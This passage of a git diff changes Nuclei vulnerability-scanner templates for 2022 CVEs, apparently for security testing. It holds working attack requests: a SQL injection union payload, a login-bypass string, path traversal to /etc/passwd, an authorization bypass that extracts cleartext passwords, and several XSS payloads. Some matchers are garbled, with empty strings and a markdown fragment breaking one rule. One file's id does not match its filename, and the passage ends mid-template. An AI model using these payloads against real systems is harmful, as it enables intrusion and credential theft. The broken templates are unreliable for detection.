@@ -0,0 +1,46 @@
+id: CVE-2022-32028
+info:
+ name: Car Rental Management System v1.0 - SQL Injection
+ author: arafatansari
+ severity: high
+ description: |
+ Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/manage_user.php?id=.
+ reference:
+ - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-8.md
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-32028
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 7.2
+ cve-id: CVE-2022-32028
+ cwe-id: CWE-89
+ metadata:
+ comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
+ shodan-query: http.html:"Car Rental Management System"
+ verified: "true"
+ tags: cve,cve2022,carrental,cms,sqli,authenticated
+variables:
+ num: "999999999"
+requests:
+ - raw:
+ - |
+ POST /admin/ajax.php?action=login HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ username={{username}}&password={{password}}
+ - |
+ GET /admin/manage_user.php?id=-1%20union%20select%201,md5({{num}}),3,4,5--+ HTTP/1.1
+ Host: {{Hostname}}
+ skip-variables-check: true
+ redirects: true
+ max-redirects: 2
+ cookie-reuse: true
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - '{{md5({{num}})}}'
+ - type: status
+ status:
+ - 200
diff --git a/nuclei-templates/CVE-2022/CVE-2022-32409.yaml b/nuclei-templates/CVE-2022/CVE-2022-32409.yaml
new file mode 100644
index 0000000000..aec3372d91
--- /dev/null
+++ b/nuclei-templates/CVE-2022/CVE-2022-32409.yaml
@@ -0,0 +1,31 @@
+id: CVE-2022-32409
+info:
+ name: i3geo - Directory Traversal
+ author: pikpikcu
+ severity: critical
+ description: A local file inclusion (LFI) vulnerability in the component codemirror.php of Portal do Software Publico Brasileiro i3geo v7.0.5 allows attackers to execute arbitrary PHP code via a crafted HTTP request
+ reference:
+ - https://github.com/wagnerdracha/ProofOfConcept/blob/main/i3geo_proof_of_concept.txt
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-32409
+ - https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.8
+ cve-id: CVE-2022-32409
+ cwe-id: CWE-94
+ metadata:
+ shodan-query: http.html:"i3geo"
+ verified: "true"
+ tags: cve,cve2022,i3geo,lfi
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/i3geo/exemplos/codemirror.php?&pagina=../../../../../../../../../../../../../../../../../etc/passwd"
+ matchers-condition: and
+ matchers:
+ - type: regex
+ regex:
+ - "root:[x*]:0:0"
+ - type: status
+ status:
+ - 200
diff --git a/nuclei-templates/CVE-2022/CVE-2022-33174.yaml b/nuclei-templates/CVE-2022/CVE-2022-33174.yaml
deleted file mode 100644
index 26dd8298df..0000000000
--- a/nuclei-templates/CVE-2022/CVE-2022-33174.yaml
+++ /dev/null
@@ -1,41 +0,0 @@
-id: CVE-2022-33174
-info:
- name: Powertek Firmware - Authorization Bypass
- author: pikpikcu
- severity: high
- description: |
- Power Distribution Units running on Powertek firmware (multiple brands) before 3.30.30 allows remote authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext.
- reference:
- - https://gynvael.coldwind.pl/?lang=en&id=748
- - https://nvd.nist.gov/vuln/detail/CVE-2022-33174
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- cvss-score: 7.5
- cve-id: CVE-2022-33174
- cwe-id: CWE-863
- metadata:
- shodan-query: http.html:"Powertek"
- verified: "true"
- tags: cve,cve2022,powertek,auth-bypass
-requests:
- - raw:
- - |
- GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1
- Host: {{Hostname}}
- Cookie: tmpToken=;
- matchers-condition: and
- matchers:
- - type: word
- words:
- - '<sys.passwd>'
- - '<sys.su.name>'
- - type: status
- status:
- - 200
- extractors:
- - type: regex
- part: body
- group: 1
- regex:
- - '<sys\.passwd>([A-Z0-9a-z]+)<\/sys\.passwd>'
- - '<sys\.su\.name>([a-z]+)<\/sys\.su\.name>'
diff --git a/nuclei-templates/CVE-2022/CVE-2022-34046.yaml b/nuclei-templates/CVE-2022/CVE-2022-34046.yaml
deleted file mode 100644
index 0e55de9a03..0000000000
--- a/nuclei-templates/CVE-2022/CVE-2022-34046.yaml
+++ /dev/null
@@ -1,34 +0,0 @@
-id: CVE-2022-34046
-info:
- name: Wavlink Sysinit.shtml - Password Exposure
- author: For3stCo1d
- severity: high
- description: |
- An access control issue in Wavlink WN533A8 M33A8.V5030.190716 allows attackers to obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);].
- reference:
- - https://drive.google.com/file/d/18ECQEqZ296LDzZ0wErgqnNfen1jCn0mG/view?usp=sharing
- - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34046
- metadata:
- verified: true
- shodan-query: http.title:"Wi-Fi APP Login"
- tags: cve,cve2022,wavlink,router,exposure
-requests:
- - raw:
- - |
- GET /sysinit.shtml?r=52300 HTTP/1.1
- Host: {{Hostname}}
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - 'var syspasswd="'
- - '<title>APP'
- condition: and
- - type: status
- status:
- - 200
- extractors:
- - type: regex
- regex:
- - 'syspasswd="(.+?)"'
diff --git a/nuclei-templates/CVE-2022/CVE-2022-34048.yaml b/nuclei-templates/CVE-2022/CVE-2022-34048.yaml
new file mode 100644
index 0000000000..7292a945a4
--- /dev/null
+++ b/nuclei-templates/CVE-2022/CVE-2022-34048.yaml
@@ -0,0 +1,41 @@
+id: CVE-2022-34048
+info:
+ name: Wavlink WN533A8 - Cross-Site Scripting (XSS)
+ author: ritikchaddha
+ severity: medium
+ description: |
+ Wavlink WN533A8 M33A8.V5030.190716 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the login_page parameter.
+ reference:
+ - https://www.exploit-db.com/exploits/50989
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-34048
+ - https://drive.google.com/file/d/1xznFhH3w3TDN2RCdX62_ebylR4yaKmzf/view?usp=sharing
+ - https://drive.google.com/file/d/1NI3-k3AGIsSe2zjeigl1GVyU1VpG1SV3/view?usp=sharing
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+ cvss-score: 6.1
+ cve-id: CVE-2022-34048
+ cwe-id: CWE-79
+ metadata:
+ shodan-query: http.html:"Wavlink"
+ verified: "true"
+ tags: cve,cve2022,wavlink,xss,router
+requests:
+ - raw:
+ - |
+ POST /cgi-bin/login.cgi HTTP/1.1
+ Host: {{Hostname}}
+
+ newUI=1&page=login&username=admin&langChange=0&ipaddr=196.219.234.10&login_page=x");alert(9);x=("&homepage=main.html&sysinitpage=sysinit.shtml&wizardpage=wiz.shtml&hostname=0.0.0.1&key=M94947765&password=ab4e98e4640b6c1ee88574ec0f13f908&lang_select=en
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - 'x");alert(9);x=("?login=0");'
+ - type: word
+ part: header
+ words:
+ - "text/html"
+ - type: status
+ status:
+ - 200
diff --git a/nuclei-templates/CVE-2022/CVE-2022-35416.yaml b/nuclei-templates/CVE-2022/CVE-2022-35416.yaml
new file mode 100644
index 0000000000..d782414f0d
--- /dev/null
+++ b/nuclei-templates/CVE-2022/CVE-2022-35416.yaml
@@ -0,0 +1,39 @@
+id: CVE-2022-35416
+info:
+ name: H3C SSL VPN through 2022-07-10 - Cookie Based XSS
+ author: 0x240x23elu
+ severity: medium
+ description: |
+ H3C SSL VPN through 2022-07-10 allows wnm/login/login.json svpnlang cookie XSS.
+ reference:
+ - https://github.com/advisories/GHSA-9x76-78gc-r3m9
+ - https://github.com/Docker-droid/H3C_SSL_VPN_XSS
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-35416
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+ cvss-score: 6.1
+ cve-id: CVE-2022-35416
+ cwe-id: CWE-79
+ metadata:
+ shodan-query: http.html_hash:510586239
+ verified: "true"
+ tags: cve,cve2022,xss,vpn,h3c
+requests:
+ - raw:
+ - |
+ GET /wnm/login/login.json HTTP/1.1
+ Host: {{Hostname}}
+ Cookie: svpnlang=
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - ""
+ - type: word
+ part: header
+ words:
+ - text/html
+ - type: status
+ status:
+ - 200
diff --git a/nuclei-templates/CVE-2022/cve-2022-0378.yaml b/nuclei-templates/CVE-2022/cve-2022-0378.yaml
new file mode 100644
index 0000000000..f6fecfa17b
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-0378.yaml
@@ -0,0 +1,37 @@
+id: CVE-2022-0378
+
+info:
+ name: Microweber Reflected Cross-Site Scripting
+ author: pikpikcu
+ severity: medium
+ description: Microweber contains a reflected cross-site scripting in Packagist microweber/microweber prior to 1.2.11.
+ reference:
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-0378
+ tags: cve,cve2022,microweber,xss
+ metadata:
+ shodan-query: 'http.favicon.hash:780351152'
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
+ cvss-score: 5.40
+ cve-id: CVE-2022-0378
+ cwe-id: CWE-79
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(document.domain)+xx=%22test&from_url=x'
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ part: body
+ words:
+ - 'mwui_init'
+ - 'onmousemove="alert(document.domain)'
+ condition: and
+
+# Enhanced by mp on 2022/02/28
diff --git a/nuclei-templates/CVE-2022/cve-2022-0482.yaml b/nuclei-templates/CVE-2022/cve-2022-0482.yaml
index 1ea0cef27f..652b2cee52 100644
--- a/nuclei-templates/CVE-2022/cve-2022-0482.yaml
+++ b/nuclei-templates/CVE-2022/cve-2022-0482.yaml
@@ -1,42 +1,30 @@
id: CVE-2022-0482
info:
- name: Easy!Appointments <1.4.3 - Broken Access Control
+ name: Easy!Appointments Broken Access Control
author: francescocarlucci,opencirt
severity: critical
description: |
- Easy!Appointments prior to 1.4.3 allows exposure of Private Personal Information to an unauthorized actor via the GitHub repository alextselegidis/easyappointments.
- impact: |
- An attacker can exploit this vulnerability to gain unauthorized access to sensitive data or perform unauthorized actions.
- remediation: |
- Upgrade Easy!Appointments to version 1.4.4 or above to fix the Broken Access Control vulnerability.
+ Exposure of Private Personal Information to an Unauthorized Actor in GitHub repository alextselegidis/easyappointments prior to 1.4.3.
reference:
- https://huntr.dev/bounties/2fe771ef-b615-45ef-9b4d-625978042e26/
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-0482
- https://github.com/alextselegidis/easyappointments
- https://opencirt.com/hacking/securing-easy-appointments-cve-2022-0482/
- - https://nvd.nist.gov/vuln/detail/CVE-2022-0482
- - https://github.com/alextselegidis/easyappointments/commit/44af526a6fc5e898bc1e0132b2af9eb3a9b2c466
+ tags: cve,cve2022,easyappointments
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- cvss-score: 9.1
+ cvss-score: 9.10
cve-id: CVE-2022-0482
- cwe-id: CWE-359,CWE-863
- epss-score: 0.04316
- epss-percentile: 0.91494
- cpe: cpe:2.3:a:easyappointments:easyappointments:*:*:*:*:*:wordpress:*:*
- metadata:
- max-request: 2
- vendor: easyappointments
- product: easyappointments
- framework: wordpress
- tags: cve,cve2022,easyappointments,huntr,wordpress
+ cwe-id: CWE-863
-http:
+requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Accept: */*
+
- |
POST /index.php/backend_api/ajax_get_calendar_events HTTP/1.1
Host: {{Hostname}}
@@ -44,24 +32,24 @@ http:
csrfToken={{csrf_token}}&startDate=2022-01-01&endDate=2022-01-01
+ extractors:
+ - type: kval
+ part: header
+ name: csrf_token
+ kval:
+ - "csrfCookie"
+ internal: true
+
+ cookie-reuse: true
matchers-condition: and
matchers:
+ - type: status
+ status:
+ - 200
+
- type: word
part: body
words:
- '"appointments":'
- '"unavailables":'
condition: and
-
- - type: status
- status:
- - 200
-
- extractors:
- - type: kval
- name: csrf_token
- internal: true
- kval:
- - "csrfCookie"
- part: header
-# digest: 4a0a0047304502204a46c8ad322e2152ca6650f96039b6f980bed5ddd8cb8cd26ca2fea57efaa24f022100cdd4517ef3e2e11a22c74c4fa7a445447d16471f0c87bab1bae7b6901321c33f:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-0540.yaml b/nuclei-templates/CVE-2022/cve-2022-0540.yaml
deleted file mode 100644
index 477db3d259..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-0540.yaml
+++ /dev/null
@@ -1,50 +0,0 @@
-id: CVE-2022-0540
-
-info:
- name: Atlassian Jira Seraph - Authentication Bypass
- author: DhiyaneshDK
- severity: critical
- description: |
- Jira Seraph allows a remote, unauthenticated attacker to bypass authentication by sending a specially crafted HTTP request. This affects Atlassian Jira Server and Data Center versions before 8.13.18, versions 8.14.0 and later before 8.20.6, and versions 8.21.0 and later before 8.22.0. This also affects Atlassian Jira Service Management Server and Data Center versions before 4.13.18, versions 4.14.0 and later before 4.20.6, and versions 4.21.0 and later before 4.22.0.
- impact: |
- Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential disruption of business operations.
- remediation: Ensure you are using the latest version and that all security patches have been applied.
- reference:
- - https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/
- - https://nvd.nist.gov/vuln/detail/CVE-2022-0540
- - https://confluence.atlassian.com/display/JIRA/Jira+Security+Advisory+2022-04-20
- - https://jira.atlassian.com/browse/JRASERVER-73650
- - https://jira.atlassian.com/browse/JSDSERVER-11224
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 9.8
- cve-id: CVE-2022-0540
- cwe-id: CWE-287
- epss-score: 0.2507
- epss-percentile: 0.96565
- cpe: cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:*
- metadata:
- max-request: 1
- vendor: atlassian
- product: jira_data_center
- shodan-query: http.component:"Atlassian Jira"
- tags: cve,cve2022,atlassian,jira,exposure,auth-bypass
-
-http:
- - method: GET
- path:
- - '{{BaseURL}}/InsightPluginShowGeneralConfiguration.jspa;'
- - '{{BaseURL}}/secure/WBSGanttManageScheduleJobAction.jspa;'
-
- stop-at-first-match: true
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - 'General Insight Configuration'
-
- - type: status
- status:
- - 200
-# digest: 4a0a00473045022100b356f158d98318a855357790576be317b29c040cc4b83e9ce5c9fe54fc6684eb02206bea066d8503896703de749d0cbdc015c9910fb42cc3671fa481e6e72d71ab25:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-0921.yaml b/nuclei-templates/CVE-2022/cve-2022-0921.yaml
new file mode 100644
index 0000000000..5eeef53133
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-0921.yaml
@@ -0,0 +1,65 @@
+id: CVE-2022-0954
+
+info:
+ name: Microweber <1.2.11 - Stored Cross-Site Scripting
+ author: amit-jd
+ severity: medium
+ description: |
+ Microweber before 1.2.1 contains multiple stored cross-site scripting vulnerabilities in Shop's Other Settings, Autorespond E-mail Settings, and Payment Methods.
+ impact: |
+ Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
+ remediation: |
+ Upgrade Microweber to version 1.2.11 or later to mitigate this vulnerability.
+ reference:
+ - https://github.com/advisories/GHSA-8c76-mxv5-w4g8
+ - https://huntr.dev/bounties/b99517c0-37fc-4efa-ab1a-3591da7f4d26/
+ - https://github.com/microweber/microweber/commit/955471c27e671c49e4b012e3b120b004082ac3f7
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-0954
+ - https://github.com/ARPSyndicate/kenzer-templates
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+ cvss-score: 5.4
+ cve-id: CVE-2022-0954
+ cwe-id: CWE-79
+ epss-score: 0.00144
+ epss-percentile: 0.50222
+ cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 3
+ vendor: microweber
+ product: microweber
+ tags: cve2022,cve,xss,microweber,huntr
+
+http:
+ - raw:
+ - |
+ POST /api/user_login HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ username={{username}}&password={{password}}
+ - |
+ POST /api/save_option HTTP/2
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+ Referer: {{BaseURL}}/admin/view:shop/action:options
+
+ option_key=checkout_url&option_group=shop&option_value=%22%3E%3CiMg+SrC%3D%22x%22+oNeRRor%3D%22alert(document.domain)%3B%22%3E&module=shop%2Forders%2Fsettings%2Fother
+ - |
+ POST /module/ HTTP/2
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+ Referer: {{BaseURL}}/admin/view:shop/action:options
+
+ module=settings%2Fsystem_settings&id=settings_admin_mw-main-module-backend-settings-admin&class=card-body+pt-3&option_group=shop%2Forders%2Fsettings%2Fother&is_system=1&style=position%3A+relative%3B
+
+ matchers:
+ - type: dsl
+ dsl:
+ - 'contains(body_2,"true")'
+ - contains(body_3,'\">![](\"x\")
\" placeholder=\"Use default')
+ - 'contains(header_3,"text/html")'
+ - 'status_code_3==200'
+ condition: and
+# digest: 490a00463044022000cc9a8206ccbc823b71b7d11682af57eb62c7cd6d15308e393af5d9460b13a00220128133adc23ad3f11a14baec1fdfa7049669509da1033a5bb705a1ccb4e4e650:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/Other/exploit-CVE-2022-1388.yaml b/nuclei-templates/CVE-2022/cve-2022-1388.yaml
similarity index 100%
rename from nuclei-templates/Other/exploit-CVE-2022-1388.yaml
rename to nuclei-templates/CVE-2022/cve-2022-1388.yaml
diff --git a/nuclei-templates/CVE-2022/cve-2022-1713.yaml b/nuclei-templates/CVE-2022/cve-2022-1713.yaml
deleted file mode 100644
index 047d066d04..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-1713.yaml
+++ /dev/null
@@ -1,51 +0,0 @@
-id: CVE-2022-1713
-
-info:
- name: Drawio <18.0.4 - Server-Side Request Forgery
- author: pikpikcu
- severity: high
- description: |
- Drawio prior to 18.0.4 is vulnerable to server-side request forgery. An attacker can make a request as the server and read its contents. This can lead to a leak of sensitive information.
- impact: |
- Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources and potential data leakage.
- remediation: |
- Upgrade Drawio to version 18.0.4 or later to mitigate the SSRF vulnerability.
- reference:
- - https://huntr.dev/bounties/cad3902f-3afb-4ed2-abd0-9f96a248de11
- - https://github.com/jgraph/drawio/commit/283d41ec80ad410d68634245cf56114bc19331ee
- - https://nvd.nist.gov/vuln/detail/CVE-2022-1713
- - https://github.com/ARPSyndicate/kenzer-templates
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- cvss-score: 7.5
- cve-id: CVE-2022-1713
- cwe-id: CWE-918
- epss-score: 0.0258
- epss-percentile: 0.90003
- cpe: cpe:2.3:a:diagrams:drawio:*:*:*:*:*:*:*:*
- metadata:
- verified: true
- max-request: 1
- vendor: diagrams
- product: drawio
- shodan-query: http.title:"Flowchart Maker"
- tags: cve,cve2022,drawio,ssrf,oss,huntr,diagrams
-
-http:
- - raw:
- - |
- GET /proxy?url=http%3a//0:8080/ HTTP/1.1
- Host: {{Hostname}}
-
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - "Flowchart Maker & Online Diagram Software"
-
- - type: word
- part: header
- words:
- - "application/octet-stream"
-# digest: 4a0a00473045022070fec57cee168dfa730fadbe57cb5c221f9bbc81767e99ae42cea4202d386420022100b31dbec578fd188d61a9471d303929d0de903cd1f3017691aa45219d9059199a:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-21371.yaml b/nuclei-templates/CVE-2022/cve-2022-21371.yaml
new file mode 100644
index 0000000000..32db7db2f1
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-21371.yaml
@@ -0,0 +1,50 @@
+id: CVE-2022-21371
+
+info:
+ name: Oracle WebLogic Server Local File Inclusion
+ author: paradessia,narluin
+ severity: high
+ description: An easily exploitable local file inclusion vulnerability allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Successful attacks of this vulnerability can result in unauthorized and sometimes complete access to critical data.
+ reference:
+ - https://www.oracle.com/security-alerts/cpujan2022.html
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-21371
+ - https://gist.github.com/picar0jsu/f3e32939153e4ced263d3d0c79bd8786
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+ cvss-score: 7.50
+ cve-id: CVE-2022-21371
+ tags: cve,cve2022,lfi,weblogic,oracle
+
+requests:
+ - method: GET
+ raw:
+ - |+
+ GET {{path}} HTTP/1.1
+ Host: {{Hostname}}
+
+ payloads:
+ path:
+ - .//WEB-INF/weblogic.xml
+ - .//WEB-INF/web.xml
+
+ unsafe: true
+ stop-at-first-match: true
+ matchers-condition: and
+ matchers:
+ - type: dsl
+ dsl:
+ - 'contains(body, "")'
+ - 'contains(body, "")'
+ condition: or
+
+ - type: dsl
+ dsl:
+ - 'contains(all_headers, "text/xml")'
+ - 'contains(all_headers, "application/xml")'
+ condition: or
+
+ - type: status
+ status:
+ - 200
+
+# Enhanced by mp on 2022/03/08
diff --git a/nuclei-templates/CVE-2022/cve-2022-21500.yaml b/nuclei-templates/CVE-2022/cve-2022-21500.yaml
new file mode 100644
index 0000000000..578dc0e7cb
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-21500.yaml
@@ -0,0 +1,56 @@
+id: CVE-2022-21500
+
+info:
+ name: Oracle E-Business Suite <=12.2 - Authentication Bypass
+ author: 3th1c_yuk1,tess,0xpugazh
+ severity: high
+ description: |
+ Oracle E-Business Suite (component: Manage Proxies) 12.1 and 12.2 are susceptible to an easily exploitable vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise it by self-registering for an account. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle E-Business Suite accessible data.
+ impact: |
+ Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the Oracle E-Business Suite application.
+ remediation: |
+ Apply the necessary security patches or updates provided by Oracle to mitigate this vulnerability.
+ reference:
+ - https://orwaatyat.medium.com/my-new-discovery-in-oracle-e-business-login-panel-that-allowed-to-access-for-all-employees-ed0ec4cad7ac
+ - https://twitter.com/GodfatherOrwa/status/1514720677173026816
+ - https://www.oracle.com/security-alerts/alert-cve-2022-21500.html
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-21500
+ - https://www.oracle.com/security-alerts/cpujul2022.html
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+ cvss-score: 7.5
+ cve-id: CVE-2022-21500
+ epss-score: 0.92631
+ epss-percentile: 0.98947
+ cpe: cpe:2.3:a:oracle:e-business_suite:12.2:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 4
+ vendor: oracle
+ product: e-business_suite
+ shodan-query: http.title:"Login" "X-ORACLE-DMS-ECID" 200
+ tags: cve,cve2022,oracle,misconfig,auth-bypass
+
+http:
+ - method: GET
+ path:
+ - '{{BaseURL}}/OA_HTML/ibeCAcpSSOReg.jsp'
+ - '{{BaseURL}}/OA_HTML/ibeCRgpPrimaryCreate.jsp'
+ - '{{BaseURL}}/OA_HTML/ibeCRgpIndividualUser.jsp'
+ - '{{BaseURL}}/OA_HTML/ibeCRgpPartnerPriCreate.jsp'
+
+ stop-at-first-match: true
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'Registration'
+ - 'Register as individual'
+ - ''
+ condition: and
+
+ - type: status
+ status:
+ - 200
+# digest: 4a0a00473045022077a908cc0f84943d99a897323cdeb2899210c5a6cd3d08634c62ced31283feeb022100a8428c5469152520da4ec621970240d45755a2c602d099e22dce986d12653785:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-2290.yaml b/nuclei-templates/CVE-2022/cve-2022-2290.yaml
new file mode 100644
index 0000000000..dff0f8b418
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-2290.yaml
@@ -0,0 +1,60 @@
+id: CVE-2022-2290
+
+info:
+ name: Trilium <0.52.4 - Cross-Site Scripting
+ author: dbrwsky
+ severity: medium
+ description: Trilium prior to 0.52.4, 0.53.1-beta contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
+ impact: |
+ Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Trilium instance.
+ remediation: |
+ Upgrade Trilium to version 0.52.4 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
+ reference:
+ - https://huntr.dev/bounties/367c5c8d-ad6f-46be-8503-06648ecf09cf/
+ - https://github.com/zadam/trilium
+ - https://github.com/zadam/trilium/commit/3faae63b849a1fabc31b823bb7af3a84d32256a7
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-2290
+ - https://github.com/ARPSyndicate/cvemon
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+ cvss-score: 6.1
+ cve-id: CVE-2022-2290
+ cwe-id: CWE-79
+ epss-score: 0.001
+ epss-percentile: 0.40139
+ cpe: cpe:2.3:a:trilium_project:trilium:*:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 3
+ vendor: trilium_project
+ product: trilium
+ shodan-query: title:"Trilium Notes"
+ tags: cve,cve2022,xss,trilium,huntr,trilium_project
+
+http:
+ - method: GET
+ path:
+ - '{{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
+ - '{{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
+ - '{{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename'
+
+ stop-at-first-match: true
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - "No handler matched for custom 
"
+ - "Note '' not found"
+ condition: or
+
+ - type: word
+ part: header
+ words:
+ - "text/html"
+
+ - type: status
+ status:
+ - 404
+# digest: 4a0a004730450221009f17fcdc98badc0464257c420fab598e7343e41d66382b910b98fd7005d968a0022040758dbc4500b3ca9aaa3096213583ee7175eb34c798a02991e0af55731a6641:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-22972.yaml b/nuclei-templates/CVE-2022/cve-2022-22972.yaml
new file mode 100644
index 0000000000..2ceac3d1c7
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-22972.yaml
@@ -0,0 +1,113 @@
+id: CVE-2022-22972
+
+info:
+ name: VMware Workspace ONE Access/Identity Manager/vRealize Automation - Authentication Bypass
+ author: For3stCo1d,princechaddha
+ severity: critical
+ description: |
+ VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.
+ impact: |
+ Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the affected system.
+ remediation: |
+ Apply the latest security patches or updates provided by VMware to fix the authentication bypass vulnerability (CVE-2022-22972).
+ reference:
+ - https://github.com/horizon3ai/CVE-2022-22972
+ - https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive
+ - https://www.vmware.com/security/advisories/VMSA-2022-0014.html
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-22972
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.8
+ cve-id: CVE-2022-22972
+ cwe-id: CWE-287
+ epss-score: 0.7146
+ epss-percentile: 0.9778
+ cpe: cpe:2.3:a:vmware:identity_manager:3.3.3:*:*:*:*:*:*:*
+ metadata:
+ max-request: 3
+ vendor: vmware
+ product: identity_manager
+ fofa-query: app="vmware-Workspace-ONE-Access" || app="vmware-Identity-Manager" || app="vmware-vRealize"
